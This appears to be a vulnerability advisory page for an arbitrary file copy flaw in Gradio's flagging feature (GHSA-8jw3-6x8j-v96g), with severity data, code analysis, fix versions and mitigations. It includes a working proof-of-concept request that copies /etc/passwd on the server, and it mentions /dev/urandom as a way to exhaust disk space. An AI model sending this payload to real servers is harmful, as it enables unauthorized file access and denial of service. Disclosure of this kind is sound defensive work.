Gradio Allows Unauthorized File Copy via Path ManipulationGHSA-8jw3-6x8j-v96g
MEDIUMGHSA-8jw3-6x8j-v96g is a medium-severity (CVSS 5.3) Unrestricted File Upload vulnerability in gradio. A fix is available for gradio — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8jw3-6x8j-v96g.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
gradioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
- A JSON payload is sent to the
/gradio_api/run/predictendpoint - The
pathfield withinFileDataobject can reference any file on the system - When processing this request, the
Component.flag()method creates aGradioDataModelobject - The
FileData._copy_to_dir()method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
- The lack of validation allows copying any file the Gradio process can read
PoC
The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:
Setup a Gradio app:
import gradio as gr
def image_classifier(inp):
return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")
test.launch(share=True)
Run the PoC:
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gradio | all versions | 5.31.0pip install --upgrade 'gradio==5.31.0' |
Affected Products
gradiogradio_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gradio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gradio to 5.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8jw3-6x8j-v96g is resolved across your whole dependency graph.
Workarounds
Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.
Frequently Asked Questions
Is GHSA-8jw3-6x8j-v96g in your dependencies?
Find it across PyPI, including transitive dependencies.